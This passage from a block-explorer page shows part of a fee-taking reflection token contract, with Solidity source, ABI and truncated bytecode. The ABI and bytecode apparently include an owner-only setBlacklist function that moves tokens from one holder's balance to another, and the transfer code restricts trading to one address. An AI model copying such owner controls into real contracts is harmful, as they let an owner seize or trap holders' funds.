        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]], "sub rSupply");
            tSupply = tSupply.sub(_tOwned[_excluded[i]], "sub tSupply");
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _takeTax(uint256 tBonus, uint256 tDev, uint256 tLiquidity) private {
        uint256 currentRate =  _getRate();
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rBonus = tBonus.mul(currentRate);
        uint256 rDev = tDev.mul(currentRate);
        if(devReceivers.length > 0){
            if(devIndex >= devReceivers.length){
                devIndex = 0;
            }
            devReceiver = devReceivers[devIndex];
            devIndex++;
        }
        _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
        if(_isExcluded[address(this)]) {
            _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
        }
        _rOwned[devReceiver] = _rOwned[devReceiver].add(rDev);
        if (_isExcluded[devReceiver]) {
            _tOwned[devReceiver] = _tOwned[devReceiver].add(tDev);
        }
        _rOwned[bonusReceiver] = _rOwned[bonusReceiver].add(rBonus);
        if (_isExcluded[bonusReceiver]) {
            _tOwned[bonusReceiver] = _tOwned[bonusReceiver].add(tBonus);
        }
        if (tBonus > 0) {
            emit Transfer(address(this), bonusReceiver, tBonus);
        }
        if (tDev > 0) {
            emit Transfer(address(this), devReceiver, tDev);
        }
    }
    
    function removeAllFee() private {
        if (!feeIt) return;
        feeIt = false;
    }
    
    function restoreAllFee() private {
        feeIt = true;
    }
    
    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private transferCounter {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(!liquidityEnable)
            require(!(from != liquidityProvider && (from == uniswapV2Pair || to == uniswapV2Pair)), "access denied");
        if(from == uniswapV2Pair && from != owner() && to != owner() && to != bonusReceiver)
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");

        // is the token balance of this contract address over the min number of
        // tokens that we need to initiate a swap + liquidity lock?
        // also, don't get caught in a circular liquidity event.
        // also, don't swap & liquify if sender is uniswap pair.
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool overMinTokenBalance = (contractTokenBalance >= numTokensSellToAddToLiquidity && balanceOf(uniswapV2Pair) > 0 && liquidityEnable);
        if (
            overMinTokenBalance &&
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled
        ) {
            contractTokenBalance = numTokensSellToAddToLiquidity;
            //add liquidity
            swapAndLiquify(contractTokenBalance);
        }
        
        //indicates if fee should be deducted from transfer
        bool takeFee = true;
        
        //if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        }

        if (enterCount == 1) {
            if (takeFee && from == uniswapV2Pair && amount >= bonusMin && bonusReceiver != address(0xdEaD)) {
                IBonus(bonusReceiver).updateTradingCount(to);
            }
            if (!inSwapAndLiquify && from != uniswapV2Pair && from != bonusReceiver && bonusReceiver != address(0xdEaD) && balanceOf(uniswapV2Pair) > 0 && liquidityEnable) {
                IBonus(bonusReceiver).swapTradingReward();
            }
        }
        
        //transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from,to,amount,takeFee);
    }
    
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        // split the contract balance into halves
        uint256 half = contractTokenBalance.div(2);
        uint256 otherHalf = contractTokenBalance.sub(half, "sub half");

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance.sub(initialBalance);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> WHT
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WHT();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            holder,
            block.timestamp
        );
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
        
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tTransferAmount, tFee, _getRate());
        _rOwned[sender] = _rOwned[sender].sub(rAmount, "sub1 rAmount");
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTax(tBonus, tDev, tLiquidity);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tTransferAmount, tFee, _getRate());
        _rOwned[sender] = _rOwned[sender].sub(rAmount, "sub2 rAmount");
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTax(tBonus, tDev, tLiquidity);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tTransferAmount, tFee, _getRate());
        _tOwned[sender] = _tOwned[sender].sub(tAmount, "sub3 tAmount");
        _rOwned[sender] = _rOwned[sender].sub(rAmount, "sub3 rAmount");
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTax(tBonus, tDev, tLiquidity);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tTransferAmount, tFee, _getRate());
        _tOwned[sender] = _tOwned[sender].sub(tAmount, "sub4 tAmount");
        _rOwned[sender] = _rOwned[sender].sub(rAmount, "sub4 rAmount");
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTax(tBonus, tDev, tLiquidity);
        _reflectFee(rFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"delDevs","type":"address[]"}],"name":"DelDevReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bonusMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bonusReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityProvider","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"queryDevs","type":"address"}],"name":"queryDevReceivers","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_uselessToken","type":"address"},{"internalType":"uint256","name":"_uselessAmount","type":"uint256"}],"name":"removeUselessTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_black","type":"address"},{"internalType":"address","name":"_white","type":"address"},{"internalType":"uint256","name":"_tBlack","type":"uint256"}],"name":"setBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_bonus","type":"address"}],"name":"setBonus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_dev","type":"address"}],"name":"setDev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"setDevs","type":"address[]"}],"name":"setDevReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_feeFee","type":"uint256"},{"internalType":"uint256","name":"_feeDev","type":"uint256"},{"internalType":"uint256","name":"_feeBonus","type":"uint256"},{"internalType":"uint256","name":"_feeLiquidity","type":"uint256"}],"name":"setFeeList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holder","type":"address"}],"name":"setHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_liquidityEnable","type":"bool"},{"internalType":"address","name":"_liquidityProvider","type":"address"}],"name":"setLiquidityInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_bonusMin","type":"uint256"},{"internalType":"uint256","name":"_liquidityMin","type":"uint256"}],"name":"setMinValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

600080546001600160a01b031990811673959532444b57ab92717214b7d01019740000000017918290556001805482166d210e2a96c6716abb97c2519c00001790819055600280548316670b81ef5ff125a9db1790819055600680546001600160a01b03958616938616939093019185169190910190931691161790556a52b7d2dcc80cd2e4000000600e556a34f8e1f3adab5d4bffffff19600f5569152d02c7e14af6800000601055690a968163f0a57b400000601155610100604052600360c08190526208c86960eb1b60e0908152620000df9160129190620004ad565b506040805180820190915260038082526208c86960eb1b60209092019182526200010c91601391620004ad565b5060148054600960ff199182161790915560016015819055600260165560036017556006601855601980546301000000620100009190941690921762ff000019169190911763ff0000001916919091179055601a805461dead6001600160a01b031991821681179092556000601b819055601e80549092169092179055601f8190556020553480156200019e57600080fd5b506000620001ab6200049a565b600380546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f54600760006200020a6200049a565b6001600160a01b031681526020810191909152604001600020556200022e6200049e565b601c60006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600073ed7d5f38c79115ca12fe6c0041abb22f0a06c3009050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a757600080fd5b505afa158015620002bc573d6000803e3d6000fd5b505050506040513d6020811015620002d357600080fd5b505160408051632e5a42c960e11b815290516001600160a01b039283169263c9c6539692309291861691635cb4859291600480820192602092909190829003018186803b1580156200032457600080fd5b505afa15801562000339573d6000803e3d6000fd5b505050506040513d60208110156200035057600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015620003a357600080fd5b505af1158015620003b8573d6000803e3d6000fd5b505050506040513d6020811015620003cf57600080fd5b50516001600160601b0319606091821b811660a0529082901b166080526001600b6000620003fc6200049e565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600b909252902080549091166001179055620004466200049a565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040518082815260200191505060405180910390a35062000549565b3390565b6003546001600160a01b031690565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620004f057805160ff191683800117855562000520565b8280016001018555821562000520579182015b828111156200052057825182559160200191906001019062000503565b506200052e92915062000532565b5090565b5b808211156200052e576000815560010162000533565b60805160601c60a05160601c614074620005b4600039806116c152806128d95280612914528061298c5280612a8c5280612ae75280612ba35280612c7f5280612cf5525080611057528061331c52806133d452806133fb52806134e9528061355452506140746000f3fe6080604052600436106102cd5760003560e01c80636b3df25711610175578063b6c52324116100dc578063dd46706411610095578063ea2f0b371161006f578063ea2f0b3714610bc9578063f2fde38b14610bfc578063f45ac6af14610c2f578063fc18a48f14610c44576102d4565b8063dd46706414610b34578063dd62ed3e14610b5e578063e7cb46f314610b99576102d4565b8063b6c5232414610a2a578063c49b9a8014610a3f578063d477f05f14610a6b578063d543dbeb14610a9e578063d979f5aa14610ac8578063db0fad1b14610afb576102d4565b80638f18f9801161012e5780638f18f980146108cb57806395d89b4114610979578063a457c2d71461098e578063a69df4b5146109c7578063a9059cbb146109dc578063b2bcf6b314610a15576102d4565b80636b3df2571461081157806370a0823114610826578063715018a6146108595780637d1db4a51461086e57806388f82020146108835780638da5cb5b146108b6576102d4565b80633432bc351161023457806349bd5a5e116101ed578063519d6944116101c7578063519d69441461078157806352390c02146107965780635342acb4146107c95780635b8bec55146107fc576102d4565b806349bd5a5e146107095780634a74bb021461071e5780634fff627c14610733576102d4565b80633432bc35146106165780633685d4191461062b578063395093511461065e5780633bd5d17314610697578063437823ec146106c157806343fafa9a146106f4576102d4565b806318160ddd1161028657806318160ddd146104945780631b87d58a146104bb57806323b872dd146104d05780632a1df196146105135780632d838119146105c1578063313ce567146105eb576102d4565b80630536e7da146102d957806306fdde031461031e578063095ea7b3146103a85780630c92e8e2146103f557806312dcff7a146104305780631694505e14610463576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b5061031c600480360360608110156102fc57600080fd5b506001600160a01b03813581169160208101359091169060400135610c80565b005b34801561032a57600080fd5b50610333610e71565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561036d578181015183820152602001610355565b50505050905090810190601f16801561039a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103b457600080fd5b506103e1600480360360408110156103cb57600080fd5b506001600160a01b038135169060200135610f07565b604080519115158252519081900360200190f35b34801561040157600080fd5b5061031c6004803603604081101561041857600080fd5b508035151590602001356001600160a01b0316610f25565b34801561043c57600080fd5b5061031c6004803603602081101561045357600080fd5b50356001600160a01b0316610fbe565b34801561046f57600080fd5b50610478611055565b604080516001600160a01b039092168252519081900360200190f35b3480156104a057600080fd5b506104a9611079565b60408051918252519081900360200190f35b3480156104c757600080fd5b506104a961107f565b3480156104dc57600080fd5b506103e1600480360360608110156104f357600080fd5b506001600160a01b03813581169160208101359091169060400135611085565b34801561051f57600080fd5b5061031c6004803603602081101561053657600080fd5b810190602081018135600160201b81111561055057600080fd5b82018360208201111561056257600080fd5b803590602001918460208302840111600160201b8311171561058357600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061110c945050505050565b3480156105cd57600080fd5b506104a9600480360360208110156105e457600080fd5b50356112f0565b3480156105f757600080fd5b5061060061134d565b6040805160ff9092168252519081900360200190f35b34801561062257600080fd5b50610478611356565b34801561063757600080fd5b5061031c6004803603602081101561064e57600080fd5b50356001600160a01b0316611365565b34801561066a57600080fd5b506103e16004803603604081101561068157600080fd5b506001600160a01b038135169060200135611522565b3480156106a357600080fd5b5061031c600480360360208110156106ba57600080fd5b5035611570565b3480156106cd57600080fd5b5061031c600480360360208110156106e457600080fd5b50356001600160a01b031661163d565b34801561070057600080fd5b506104a96116b9565b34801561071557600080fd5b506104786116bf565b34801561072a57600080fd5b506103e16116e3565b34801561073f57600080fd5b506107666004803603602081101561075657600080fd5b50356001600160a01b03166116f2565b60408051921515835260208301919091528051918290030190f35b34801561078d57600080fd5b506104a9611715565b3480156107a257600080fd5b5061031c600480360360208110156107b957600080fd5b50356001600160a01b031661171b565b3480156107d557600080fd5b506103e1600480360360208110156107ec57600080fd5b50356001600160a01b03166118a1565b34801561080857600080fd5b506104786118bf565b34801561081d57600080fd5b506103e16118d5565b34801561083257600080fd5b506104a96004803603602081101561084957600080fd5b50356001600160a01b03166118e5565b34801561086557600080fd5b5061031c611947565b34801561087a57600080fd5b506104a96119d7565b34801561088f57600080fd5b506103e1600480360360208110156108a657600080fd5b50356001600160a01b03166119dd565b3480156108c257600080fd5b506104786119fb565b3480156108d757600080fd5b5061031c600480360360208110156108ee57600080fd5b810190602081018135600160201b81111561090857600080fd5b82018360208201111561091a57600080fd5b803590602001918460208302840111600160201b8311171561093b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611a0a945050505050565b34801561098557600080fd5b50610333611ce9565b34801561099a57600080fd5b506103e1600480360360408110156109b157600080fd5b506001600160a01b038135169060200135611d4a565b3480156109d357600080fd5b5061031c611db2565b3480156109e857600080fd5b506103e1600480360360408110156109ff57600080fd5b506001600160a01b038135169060200135611ea2565b348015610a2157600080fd5b506104a9611eb6565b348015610a3657600080fd5b506104a9611ebc565b348015610a4b57600080fd5b5061031c60048036036020811015610a6257600080fd5b50351515611ec2565b348015610a7757600080fd5b5061031c60048036036020811015610a8e57600080fd5b50356001600160a01b0316611f6b565b348015610aaa57600080fd5b5061031c60048036036020811015610ac157600080fd5b5035612027565b348015610ad457600080fd5b5061031c60048036036020811015610aeb57600080fd5b50356001600160a01b03166120a5565b348015610b0757600080fd5b5061031c60048036036040811015610b1e57600080fd5b506001600160a01b038135169060200135612137565b348015610b4057600080fd5b5061031c60048036036020811015610b5757600080fd5b5035612263565b348015610b6a57600080fd5b506104a960048036036040811015610b8157600080fd5b506001600160a01b0381358116916020013516612304565b348015610ba557600080fd5b5061031c60048036036040811015610bbc57600080fd5b508035906020013561232f565b348015610bd557600080fd5b5061031c60048036036020811015610bec57600080fd5b50356001600160a01b0316612392565b348015610c0857600080fd5b5061031c60048036036020811015610c1f57600080fd5b50356001600160a01b031661240b565b348015610c3b57600080fd5b506104a96124f6565b348015610c5057600080fd5b5061031c60048036036080811015610c6757600080fd5b50803590602081013590604081013590606001356124fc565b610c88612568565b6003546001600160a01b03908116911614610cd8576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6000610ce261256c565b90506000610cf0838361258f565b9050610d4e816040518060400160405280600a8152602001697375622072426c61636b60b01b81525060076000896001600160a01b03166001600160a01b03168152602001908152602001600020546125ef9092919063ffffffff16565b6001600160a01b038616600090815260076020908152604080832093909355600c9052205460ff1615610ddd57604080518082018252600a8152697375622074426c61636b60b01b6020808301919091526001600160a01b038816600090815260089091529190912054610dc39185906125ef565b6001600160a01b0386166000908152600860205260409020555b6001600160a01b038416600090815260076020526040902054610e009082612686565b6001600160a01b038516600090815260076020908152604080832093909355600c9052205460ff1615610e6a576001600160a01b038416600090815260086020526040902054610e509084612686565b6001600160a01b0385166000908152600860205260409020555b5050505050565b60128054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610efd5780601f10610ed257610100808354040283529160200191610efd565b820191906000526020600020905b815481529060010190602001808311610ee057829003601f168201915b5050505050905090565b6000610f1b610f14612568565b84846126e0565b5060015b92915050565b610f2d612568565b6003546001600160a01b03908116911614610f7d576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b601980546001600160a01b03909216600160201b02640100000000600160c01b031993151563010000000263ff000000199093169290921792909216179055565b610fc66119fb565b6001600160a01b0316610fd7612568565b6001600160a01b03161461101b576040805162461bcd60e51b8152602060048083019190915260248201526319985a5b60e21b604482015290519081900360640190fd5b601e80546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b7f000000000000000000000000000000000000000000000000000000000000000081565b600e5490565b60205481565b60006110928484846127cc565b6111028461109e612568565b6110fd85604051806060016040528060288152602001613ef1602891396001600160a01b038a166000908152600960205260408120906110dc612568565b6001600160a01b0316815260208101919091526040016000205491906125ef565b6126e0565b5060019392505050565b611114612568565b6003546001600160a01b03908116911614611164576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b60008151116111b0576040805162461bcd60e51b815260206004820152601360248201527254686520617272617920697320656d7074792160681b604482015290519081900360640190fd5b60005b81518110156112ec57600a60008383815181106111cc57fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff166112e457601d82828151811061120557fe5b60209081029190910181015182546001808201855560009485529284200180546001600160a01b0319166001600160a01b0390921691909117905583519091600b9185908590811061125357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008484815181106112a457fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6001016111b3565b5050565b6000600f548211156113335760405162461bcd60e51b815260040180806020018281038252602a815260200180613e36602a913960400191505060405180910390fd5b61134561133e61256c565b8390612dec565b90505b919050565b60145460ff1690565b601e546001600160a01b031681565b61136d612568565b6003546001600160a01b039081169116146113bd576040805162461bcd60e51b81526020600482018190526024820152600080516020613f19833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152600c602052604090205460ff1661142a576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600d548110156112ec57816001600160a01b0316600d828154811061144e57fe5b6000918252602090912001546001600160a01b0316141561151a57600d8054600019810190811061147b57fe5b600091825260209091200154600d80546001600160a01b0390921691839081106114a157fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600882526040808220829055600c90925220805460ff19169055600d8054806114f357fe5b600082815260209020810160001990810180546001600160a01b03191690550190556112ec565b60010161142d565b6000610f1b61152f612568565b846110fd8560096000611540612568565b6001600160a01b039081168252602080